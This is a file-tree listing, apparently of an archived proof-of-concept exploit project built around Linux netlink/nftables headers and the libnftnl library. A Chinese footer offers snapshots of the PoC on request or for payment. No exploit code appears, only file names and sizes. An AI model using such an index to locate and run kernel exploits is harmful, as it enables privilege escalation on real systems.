│ │ │ ├── [ 470] ip6t_REJECT.h
│ │ │ ├── [ 985] ip6t_rt.h
│ │ │ └── [3.2K] ip6t_srh.h
│ │ ├── [1.4K] netfilter_ipv6.h
│ │ ├── [2.0K] net.h
│ │ ├── [1.5K] netlink_diag.h
│ │ ├── [ 12K] netlink.h
│ │ ├── [ 715] net_namespace.h
│ │ ├── [ 807] netrom.h
│ │ ├── [5.9K] net_tstamp.h
│ │ ├── [2.8K] nexthop.h
│ │ ├── [ 11K] nfc.h
│ │ ├── [1.4K] nfs2.h
│ │ ├── [2.4K] nfs3.h
│ │ ├── [6.4K] nfs4.h
│ │ ├── [1.9K] nfs4_mount.h
│ │ ├── [ 718] nfsacl.h
│ │ ├── [4.0K] nfsd
│ │ │ ├── [3.0K] cld.h
│ │ │ ├── [ 736] debug.h
│ │ │ ├── [2.1K] export.h
│ │ │ └── [ 421] stats.h
│ │ ├── [1.6K] nfs_fs.h
│ │ ├── [4.4K] nfs.h
│ │ ├── [2.2K] nfs_idmap.h
│ │ ├── [2.1K] nfs_mount.h
│ │ ├── [7.4K] nilfs2_api.h
│ │ ├── [ 18K] nilfs2_ondisk.h
│ │ ├── [ 13K] nitro_enclaves.h
│ │ ├── [323K] nl80211.h
│ │ ├── [4.5K] nl80211-vnd-intel.h
│ │ ├── [ 639] nsfs.h
│ │ ├── [8.0K] nubus.h
│ │ ├── [2.4K] nvme_ioctl.h
│ │ ├── [ 532] nvram.h
│ │ ├── [ 20K] omap3isp.h
│ │ ├── [5.8K] omapfb.h
│ │ ├── [ 511] oom.h
│ │ ├── [1.4K] openat2.h
│ │ ├── [ 40K] openvswitch.h
│ │ ├── [1.6K] packet_diag.h
│ │ ├── [ 141] param.h
│ │ ├── [3.6K] parport.h
│ │ ├── [ 892] patchkey.h
│ │ ├── [1.3K] pci.h
│ │ ├── [ 59K] pci_regs.h
│ │ ├── [ 878] pcitest.h
│ │ ├── [ 42K] perf_event.h
│ │ ├── [2.0K] personality.h
│ │ ├── [ 10K] pfkeyv2.h
│ │ ├── [7.8K] pfrut.h
│ │ ├── [2.3K] pg.h
│ │ ├── [1.6K] phantom.h
│ │ ├── [4.6K] phonet.h
│ │ ├── [ 256] pidfd.h
│ │ ├── [2.6K] pktcdvd.h
│ │ ├── [ 18K] pkt_cls.h
│ │ ├── [ 30K] pkt_sched.h
│ │ ├── [5.3K] pmu.h
│ │ ├── [ 22] poll.h
│ │ ├── [1.2K] posix_acl.h
│ │ ├── [1.1K] posix_acl_xattr.h
│ │ ├── [1.1K] posix_types.h
│ │ ├── [3.2K] ppdev.h
│ │ ├── [2.5K] ppp-comp.h
│ │ ├── [5.4K] ppp_defs.h
│ │ ├── [5.6K] ppp-ioctl.h
│ │ ├── [4.6K] pps.h
│ │ ├── [9.8K] prctl.h
│ │ ├── [1.0K] pr.h
│ │ ├── [2.2K] psample.h
│ │ ├── [5.0K] psci.h
│ │ ├── [4.4K] psp-sev.h
│ │ ├── [7.3K] ptp_clock.h
│ │ ├── [4.3K] ptrace.h
│ │ ├── [2.4K] qemu_fw_cfg.h
│ │ ├── [2.3K] qnx4_fs.h
│ │ ├── [ 624] qnxtypes.h
│ │ ├── [ 893] qrtr.h
│ │ ├── [6.1K] quota.h
│ │ ├── [ 360] radeonfb.h
│ │ ├── [4.0K] raid
│ │ │ ├── [ 16K] md_p.h
│ │ │ └── [4.4K] md_u.h
│ │ ├── [1.4K] random.h
│ │ ├── [ 11K] rds.h
│ │ ├── [1.3K] reboot.h
│ │ ├── [ 775] reiserfs_fs.h
│ │ ├── [ 542] reiserfs_xattr.h
│ │ ├── [1.1K] remoteproc_cdev.h
│ │ ├── [2.5K] resource.h
│ │ ├── [6.5K] rfkill.h
│ │ ├── [3.2K] rio_cm_cdev.h
│ │ ├── [9.1K] rio_mport_cdev.h
│ │ ├── [ 33K] rkisp1-config.h
│ │ ├── [1.2K] romfs_fs.h
│ │ ├── [2.2K] rose.h
│ │ ├── [2.3K] route.h
│ │ ├── [ 814] rpl.h
│ │ ├── [ 424] rpl_iptunnel.h
│ │ ├── [1.0K] rpmsg.h
│ │ ├── [ 288] rpmsg_types.h
│ │ ├── [4.6K] rseq.h
│ │ ├── [5.2K] rtc.h
│ │ ├── [ 21K] rtnetlink.h
│ │ ├── [4.8K] rxrpc.h
│ │ ├── [4.5K] scc.h
│ │ ├── [4.0K] sched
│ │ │ └── [4.5K] types.h
│ │ ├── [6.1K] sched.h
│ │ ├── [6.2K] scif_ioctl.h
│ │ ├── [2.4K] screen_info.h
│ │ ├── [ 35K] sctp.h
│ │ ├── [5.7K] seccomp.h
│ │ ├── [2.6K] securebits.h
│ │ ├── [4.0K] sed-opal.h
│ │ ├── [ 589] seg6_genl.h
│ │ ├── [1.1K] seg6.h
│ │ ├── [ 423] seg6_hmac.h
│ │ ├── [ 983] seg6_iptunnel.h
│ │ ├── [3.8K] seg6_local.h
│ │ ├── [1.2K] selinux_netlink.h
│ │ ├── [3.0K] sem.h
│ │ ├── [5.9K] serial_core.h
│ │ ├── [4.1K] serial.h
│ │ ├── [ 15K] serial_reg.h
│ │ ├── [2.0K] serio.h
│ │ ├── [2.2K] sev-guest.h
│ │ ├── [3.7K] shm.h
│ │ ├── [1.2K] signalfd.h
│ │ ├── [ 388] signal.h
│ │ ├── [2.8K] smc_diag.h
│ │ ├── [8.3K] smc.h
│ │ ├── [1.0K] smiapp.h
│ │ ├── [ 14K] snmp.h
│ │ ├── [1.3K] sock_diag.h
│ │ ├── [1.0K] socket.h
│ │ ├── [6.7K] sockios.h
│ │ ├── [2.2K] sonet.h
│ │ ├── [5.2K] sonypi.h
│ │ ├── [ 45K] soundcard.h
│ │ ├── [1.2K] sound.h
│ │ ├── [4.0K] spi
│ │ │ ├── [4.6K] spidev.h
│ │ │ └── [1.8K] spi.h
│ │ ├── [6.8K] stat.h
│ │ ├── [1.5K] stddef.h
│ │ ├── [1.2K] stm.h
│ │ ├── [ 238] string.h
│ │ ├── [4.0K] sunrpc
│ │ │ └── [1.1K] debug.h
│ │ ├── [4.0K] surface_aggregator
│ │ │ ├── [5.0K] cdev.h
│ │ │ └── [5.3K] dtx.h
│ │ ├── [1.4K] suspend_ioctls.h
│ │ ├── [6.8K] swab.h
│ │ ├── [5.1K] switchtec_ioctl.h
│ │ ├── [2.8K] sync_file.h
│ │ ├── [8.8K] synclink.h
│ │ ├── [ 25K] sysctl.h
│ │ ├── [1.0K] sysinfo.h
│ │ ├── [4.5K] target_core_user.h
│ │ ├── [8.0K] taskstats.h
│ │ ├── [4.0K] tc_act
│ │ │ ├── [ 509] tc_bpf.h
│ │ │ ├── [ 390] tc_connmark.h
│ │ │ ├── [ 644] tc_csum.h
│ │ │ ├── [ 934] tc_ct.h
│ │ │ ├── [ 556] tc_ctinfo.h
│ │ │ ├── [ 322] tc_defact.h
│ │ │ ├── [ 626] tc_gact.h
│ │ │ ├── [ 870] tc_gate.h
│ │ │ ├── [ 600] tc_ife.h
│ │ │ ├── [ 415] tc_ipt.h
│ │ │ ├── [ 728] tc_mirred.h
│ │ │ ├── [1.0K] tc_mpls.h
│ │ │ ├── [ 424] tc_nat.h
│ │ │ ├── [1.5K] tc_pedit.h
│ │ │ ├── [ 456] tc_sample.h
│ │ │ ├── [ 848] tc_skbedit.h
│ │ │ ├── [ 587] tc_skbmod.h
│ │ │ ├── [2.4K] tc_tunnel_key.h
│ │ │ └── [ 672] tc_vlan.h
│ │ ├── [4.0K] tc_ematch
│ │ │ ├── [ 414] tc_em_cmp.h
│ │ │ ├── [ 391] tc_em_ipt.h
│ │ │ ├── [2.1K] tc_em_meta.h
│ │ │ ├── [ 255] tc_em_nbyte.h
│ │ │ └── [ 384] tc_em_text.h
│ │ ├── [ 12K] tcp.h
│ │ ├── [1.5K] tcp_metrics.h
│ │ ├── [ 13K] tee.h
│ │ ├── [ 172] termios.h
│ │ ├── [3.2K] thermal.h
│ │ ├── [1.7K] time.h
│ │ ├── [ 936] timerfd.h
│ │ ├── [ 278] times.h
│ │ ├── [1.2K] time_types.h
│ │ ├── [7.6K] timex.h
│ │ ├── [1.7K] tiocl.h
│ │ ├── [ 15K] tipc_config.h
│ │ ├── [8.6K] tipc.h
│ │ ├── [9.2K] tipc_netlink.h
│ │ ├── [ 468] tipc_sockets_diag.h
│ │ ├── [7.1K] tls.h
│ │ ├── [1.9K] toshiba.h
│ │ ├── [4.4K] tty_flags.h
│ │ ├── [1.7K] tty.h
│ │ ├── [1.6K] types.h
│ │ ├── [5.8K] ublk_cmd.h
│ │ ├── [ 697] udf_fs_i.h
│ │ ├── [ 643] udmabuf.h
│ │ ├── [1.6K] udp.h
│ │ ├── [4.5K] uhid.h
│ │ ├── [9.0K] uinput.h
│ │ ├── [ 732] uio.h
│ │ ├── [ 798] uleds.h
│ │ ├── [4.5K] ultrasound.h
│ │ ├── [3.9K] um_timetravel.h
│ │ ├── [ 384] un.h
│ │ ├── [ 220] unistd.h
│ │ ├── [1.3K] unix_diag.h
│ │ ├── [4.0K] usb
│ │ │ ├── [ 19K] audio.h
│ │ │ ├── [ 13K] cdc.h
│ │ │ ├── [ 739] cdc-wdm.h
│ │ │ ├── [8.9K] ch11.h
│ │ │ ├── [ 39K] ch9.h
│ │ │ ├── [ 598] charger.h
│ │ │ ├── [ 10K] functionfs.h
│ │ │ ├── [2.8K] gadgetfs.h
│ │ │ ├── [1.4K] g_printer.h
│ │ │ ├── [1.1K] g_uvc.h
│ │ │ ├── [3.4K] midi.h
│ │ │ ├── [8.1K] raw_gadget.h
│ │ │ ├── [4.7K] tmc.h
│ │ │ └── [ 17K] video.h
│ │ ├── [8.1K] usbdevice_fs.h
│ │ ├── [1.5K] usbip.h
│ │ ├── [9.5K] userfaultfd.h
│ │ ├── [1.5K] userio.h
│ │ ├── [ 223] utime.h
│ │ ├── [ 669] utsname.h
│ │ ├── [ 992] uuid.h
│ │ ├── [2.5K] uvcvideo.h
│ │ ├── [4.1K] v4l2-common.h
│ │ ├── [118K] v4l2-controls.h
│ │ ├── [ 31K] v4l2-dv-timings.h
│ │ ├── [5.3K] v4l2-mediabus.h
│ │ ├── [7.6K] v4l2-subdev.h
│ │ ├── [7.1K] vbox_err.h
│ │ ├── [9.1K] vboxguest.h
│ │ ├── [ 11K] vbox_vmmdev_types.h
│ │ ├── [1.8K] vdpa.h
│ │ ├── [9.6K] vduse.h
│ │ ├── [ 216] version.h
│ │ ├── [ 224] veth.h
│ │ ├── [1.3K] vfio_ccw.h
│ │ ├── [ 57K] vfio.h
│ │ ├── [2.5K] vfio_zdev.h
│ │ ├── [7.5K] vhost.h
│ │ ├── [4.2K] vhost_types.h
│ │ ├── [ 95K] videodev2.h
│ │ ├── [2.0K] virtio_9p.h
│ │ ├── [5.2K] virtio_balloon.h
│ │ ├── [7.3K] virtio_blk.h
│ │ ├── [ 772] virtio_bt.h
│ │ ├── [4.2K] virtio_config.h
│ │ ├── [3.1K] virtio_console.h
│ │ ├── [ 16K] virtio_crypto.h
│ │ ├── [ 573] virtio_fs.h
│ │ ├── [1.7K] virtio_gpio.h
│ │ ├── [ 11K] virtio_gpu.h
│ │ ├── [1.2K] virtio_i2c.h
│ │ ├── [4.2K] virtio_ids.h
│ │ ├── [2.5K] virtio_input.h
│ │ ├── [3.8K] virtio_iommu.h
│ │ ├── [7.0K] virtio_mem.h
│ │ ├── [4.9K] virtio_mmio.h
│ │ ├── [ 14K] virtio_net.h
│ │ ├── [2.4K] virtio_pcidev.h
│ │ ├── [7.3K] virtio_pci.h
│ │ ├── [ 641] virtio_pmem.h
│ │ ├── [8.5K] virtio_ring.h
│ │ ├── [ 265] virtio_rng.h
│ │ ├── [ 637] virtio_scmi.h
│ │ ├── [5.9K] virtio_scsi.h
│ │ ├── [9.1K] virtio_snd.h
│ │ ├── [2.1K] virtio_types.h
│ │ ├── [3.3K] virtio_vsock.h
│ │ ├── [ 455] vmcore.h
│ │ ├── [ 963] vm_sockets_diag.h
│ │ ├── [7.2K] vm_sockets.h
│ │ ├── [1.8K] vsockmon.h
│ │ ├── [3.0K] vt.h
│ │ ├── [1.7K] vtpm_proxy.h
│ │ ├── [ 682] wait.h
│ │ ├── [2.3K] watchdog.h
│ │ ├── [3.4K] watch_queue.h
│ │ ├── [7.6K] wireguard.h
│ │ ├── [ 42K] wireless.h
│ │ ├── [1.7K] wmi.h
│ │ ├── [ 295] wwan.h
│ │ ├── [3.5K] x25.h
│ │ ├── [3.0K] xattr.h
│ │ ├── [1.4K] xdp_diag.h
│ │ ├── [ 12K] xfrm.h
│ │ ├── [2.9K] xilinx-v4l2-controls.h
│ │ ├── [3.2K] zorro.h
│ │ └── [ 29K] zorro_ids.h
│ ├── [3.2K] Makefile
│ ├── [4.0K] misc
│ │ ├── [3.8K] cxl.h
│ │ ├── [4.1K] fastrpc.h
│ │ ├── [ 71K] habanalabs.h
│ │ ├── [1.9K] ocxl.h
│ │ ├── [ 209] pvpanic.h
│ │ ├── [4.0K] uacce
│ │ │ ├── [ 982] hisi_qm.h
│ │ │ └── [ 796] uacce.h
│ │ └── [ 12K] xilinx_sdfec.h
│ ├── [4.0K] mtd
│ │ ├── [1.6K] inftl-user.h
│ │ ├── [ 12K] mtd-abi.h
│ │ ├── [1.2K] mtd-user.h
│ │ ├── [2.1K] nftl-user.h
│ │ └── [ 18K] ubi-user.h
│ ├── [4.0K] rdma
│ │ ├── [3.4K] bnxt_re-abi.h
│ │ ├── [3.0K] cxgb4-abi.h
│ │ ├── [2.8K] efa-abi.h
│ │ ├── [ 811] erdma-abi.h
│ │ ├── [4.0K] hfi
│ │ │ ├── [6.5K] hfi1_ioctl.h
│ │ │ └── [9.1K] hfi1_user.h
│ │ ├── [2.9K] hns-abi.h
│ │ ├── [9.7K] ib_user_ioctl_cmds.h
│ │ ├── [7.6K] ib_user_ioctl_verbs.h
│ │ ├── [8.3K] ib_user_mad.h
│ │ ├── [2.3K] ib_user_sa.h
│ │ ├── [ 28K] ib_user_verbs.h
│ │ ├── [2.1K] irdma-abi.h
│ │ ├── [5.0K] mlx4-abi.h
│ │ ├── [ 14K] mlx5-abi.h
│ │ ├── [ 11K] mlx5_user_ioctl_cmds.h
│ │ ├── [3.5K] mlx5_user_ioctl_verbs.h
│ │ ├── [3.0K] mthca-abi.h
│ │ ├── [4.0K] ocrdma-abi.h
│ │ ├── [4.2K] qedr-abi.h
│ │ ├── [ 15K] rdma_netlink.h
│ │ ├── [7.0K] rdma_user_cm.h
│ │ ├── [2.6K] rdma_user_ioctl_cmds.h
│ │ ├── [3.7K] rdma_user_ioctl.h
│ │ ├── [4.7K] rdma_user_rxe.h
│ │ ├── [1.7K] rvt-abi.h
│ │ ├── [3.3K] siw-abi.h
│ │ └── [7.8K] vmw_pvrdma-abi.h
│ ├── [4.0K] scsi
│ │ ├── [9.9K] cxlflash_ioctl.h
│ │ ├── [4.0K] fc
│ │ │ ├── [ 38K] fc_els.h
│ │ │ ├── [ 11K] fc_fs.h
│ │ │ ├── [2.2K] fc_gs.h
│ │ │ └── [4.2K] fc_ns.h
│ │ ├── [7.8K] scsi_bsg_fc.h
│ │ ├── [ 15K] scsi_bsg_mpi3mr.h
│ │ ├── [2.7K] scsi_bsg_ufs.h
│ │ ├── [1.3K] scsi_netlink_fc.h
│ │ └── [2.8K] scsi_netlink.h
│ ├── [4.0K] sound
│ │ ├── [ 21K] asequencer.h
│ │ ├── [ 22K] asoc.h
│ │ ├── [3.6K] asound_fm.h
│ │ ├── [ 49K] asound.h
│ │ ├── [5.8K] compress_offload.h
│ │ ├── [ 16K] compress_params.h
│ │ ├── [ 16K] emu10k1.h
│ │ ├── [9.7K] firewire.h
│ │ ├── [2.0K] hdsp.h
│ │ ├── [4.4K] hdspm.h
│ │ ├── [4.0K] intel
│ │ │ └── [4.0K] avs
│ │ │ └── [4.3K] tokens.h
│ │ ├── [3.5K] sb16_csp.h
│ │ ├── [6.6K] sfnt_info.h
│ │ ├── [5.2K] skl-tplg-interface.h
│ │ ├── [6.5K] snd_ar_tokens.h
│ │ ├── [ 11K] snd_sst_tokens.h
│ │ ├── [4.0K] sof
│ │ │ ├── [2.0K] abi.h
│ │ │ ├── [2.2K] fw.h
│ │ │ ├── [1.5K] header.h
│ │ │ └── [5.8K] tokens.h
│ │ ├── [4.0K] tlv.h
│ │ └── [1.2K] usb_stream.h
│ ├── [4.0K] video
│ │ ├── [ 213] edid.h
│ │ ├── [7.5K] sisfb.h
│ │ └── [1.1K] uvesafb.h
│ └── [4.0K] xen
│ ├── [3.5K] evtchn.h
│ ├── [2.6K] gntalloc.h
│ ├── [ 11K] gntdev.h
│ └── [4.1K] privcmd.h
├── [4.0K] lib
│ ├── [ 26K] libmnl.a
│ ├── [ 26K] libmnl-LICENSE.md
│ ├── [455K] libnftnl.a
│ └── [ 18K] libnftnl-LICENSE.md
├── [1.0K] LICENSE
├── [1.0K] Makefile
├── [3.8K] README.md
└── [4.0K] src
├── [3.0K] config.h
├── [4.3K] env.c
├── [ 674] env.h
├── [1.4K] file.c
├── [ 745] file.h
├── [ 18K] main.c
├── [5.6K] net.c
├── [ 741] net.h
├── [7.2K] nftnl.c
└── [ 550] nftnl.h
51 directories, 1008 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。